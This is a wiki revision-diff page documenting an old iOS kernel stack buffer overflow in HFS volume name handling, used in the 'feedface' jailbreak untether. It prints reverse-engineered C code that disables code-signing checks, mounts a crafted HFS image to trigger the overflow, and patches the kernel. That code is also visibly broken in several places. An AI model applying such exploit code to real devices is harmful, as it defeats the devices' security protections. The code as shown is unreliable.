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Difference between revisions of "HFS Legacy Volume Name Stack Buffer Overflow"

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(New page: == Credit == pod2g Category:Exploits)
 
(Better formatting. If anyone could please seperate vm_prep and main, that would be awesome.)
 
(14 intermediate revisions by 6 users not shown)
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The '''HFS Legacy Volume Name Stack Buffer Overflow''' is a [[kernel]] vulnerability used to achieve an [[untethered jailbreak]]. Its exploit implementation, dubbed "feedface,"[https://twitter.com/pod2g/status/33997326070583296] was used in conjunction with limera1n's [[bootrom]] exploit or the [[usb_control_msg(0xA1, 1) Exploit]] in [[greenpois0n (jailbreak)|greenpois0n]].
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  +
== Exploiting the Kernel Bug ==
  +
  +
This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb
  +
to take control of PC register and do basically whatever you want, in that case, they used a function called
  +
real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what
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the untether looked like.
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  +
int mnt_our_hfs()
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{
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struct hfs_mount_args i;
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bzero(i, sizeof(i));
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i.fspec = (int)"/dev/vn0";
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i.hfs_uid = args.hfs_gid = 99;
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i.hfs_mask = 0x1C5;
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puts("[+]Triggering the kernel exploit");
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mount("hfs", "mnt/", MNT_RDONLY, i);
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return puts("[+] Payload was successful");
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}
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int prep_vn()
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{
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vn_ioctl vn;
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int i = open("/dev/vn0", O_RDONLY, 0);
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if(i < 0){
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puts("[-]Can't open /dev/vn0");
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exit(1);
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}
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ioctl(i, VNIOCDETACH, &vn);
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vn.vn_file = (int)"/usr/lib/hfs_mdb";
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vn.vn_control = vncontrol_readwrite_io_e;
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if(ioctl(i, VNIOCATTACH, &vn) < 0)
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{
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puts("[-]Coudn't attach to /dev/vn0")''
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close(i);
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exit(1);
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}
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return close(1);
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}
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int main(int argc, char const *argv[])
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{
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int result;
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struct stat i;
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uint32_t zero = 0, one = 1;
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sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));
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sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))
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prep_vn();
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i.st_uid = 0;
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i.st_gid = 0;
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i.st_rdev = 0;
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i.st_atimespec.tv_nsec = 0;
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i.st_atimespec.tv_sec = 0;
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i.st_mtimespec.tv_nsec = 0;
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i.st_mtimespec.tv_sec = 0;
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i.st_ctimespec.tv_sec = 0;
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i.st_dev = (dev_t)"/dev/vn0";
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i.st_ino = 99;
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i.st_uid = 453;
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puts("[+]Trigger kernel exploit");
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mnt_our_hfs();
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sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));
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patch_kernel();
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return 0;
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}
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== Credit ==
  
== Credit ==
−
[[User:pod2g|pod2g]]
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[[User:Jan0|jan0]], [[User:pod2g|pod2g]], [[User:posixninja|Posixninja]]
  +
  +
== Sources for information ==
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*[http://www.twitlonger.com/show/8jep67 TwitLonger]
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*http://pastie.org/2060071 (from a [https://twitter.com/0naj/status/80211549427482624 tweet] by [[User:jan0|jan0]])
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*[http://www.slideshare.net/i0n1c/blackhat-usa-2011-stefan-esser-ios-kernel-exploitation BlackHat Presentation by [[I0n1c]]] (starting at slide 24)
   
 
[[Category:Exploits]]
  
[[Category:Exploits]]

Latest revision as of 14:21, 28 March 2015

The HFS Legacy Volume Name Stack Buffer Overflow is a kernel vulnerability used to achieve an untethered jailbreak. Its exploit implementation, dubbed "feedface,"[1] was used in conjunction with limera1n's bootrom exploit or the usb_control_msg(0xA1, 1) Exploit in greenpois0n.

Exploiting the Kernel Bug

This stack buffer overflow relies on the hfs_mdb file in feedface, when the untether is ran it uses hfs_mdb to take control of PC register and do basically whatever you want, in that case, they used a function called real_payload() that patched the kernel and patched the sandbox. After some reverse engineering, here's what the untether looked like. 

 int mnt_our_hfs()
 {
  struct hfs_mount_args i;
  bzero(i, sizeof(i));
  i.fspec = (int)"/dev/vn0";
  i.hfs_uid = args.hfs_gid = 99;
  i.hfs_mask = 0x1C5;
  puts("[+]Triggering the kernel exploit");
  mount("hfs", "mnt/", MNT_RDONLY, i);
  return puts("[+] Payload was successful");
 }

 int prep_vn()
 {
  vn_ioctl vn;
  int i = open("/dev/vn0", O_RDONLY, 0);
  if(i < 0){
     puts("[-]Can't open /dev/vn0");
     exit(1);
  }
  ioctl(i, VNIOCDETACH, &vn);
  vn.vn_file = (int)"/usr/lib/hfs_mdb";
  vn.vn_control = vncontrol_readwrite_io_e;
  if(ioctl(i, VNIOCATTACH, &vn) < 0)
  {
     puts("[-]Coudn't attach to /dev/vn0")
     close(i);
     exit(1);
  }
  return close(1);
 }
 
 int main(int argc, char const *argv[])
 {
  int result;
  struct stat i;
  uint32_t zero = 0, one = 1;
  sysctlbyname("security.mac.vnode_enforce", 0, 0, &zero, sizeof(uint32_t));
  sysctlbyname("vm.cs_validation", 0, 0, &zero, sizeof(uint32_t))
  prep_vn();
  i.st_uid = 0;
  i.st_gid = 0;
  i.st_rdev = 0;
  i.st_atimespec.tv_nsec = 0;
  i.st_atimespec.tv_sec = 0;
  i.st_mtimespec.tv_nsec = 0;
  i.st_mtimespec.tv_sec = 0;
  i.st_ctimespec.tv_sec = 0;
  i.st_dev = (dev_t)"/dev/vn0";
  i.st_ino = 99;
  i.st_uid = 453;
  puts("[+]Trigger kernel exploit");
  mnt_our_hfs();
  sysctlbyname("security.mac.vnode_enforce", 0, 0, &one, sizeof(uint32_t));
  patch_kernel();
  return 0;
  }

Credit

jan0, pod2g, Posixninja

Sources for information

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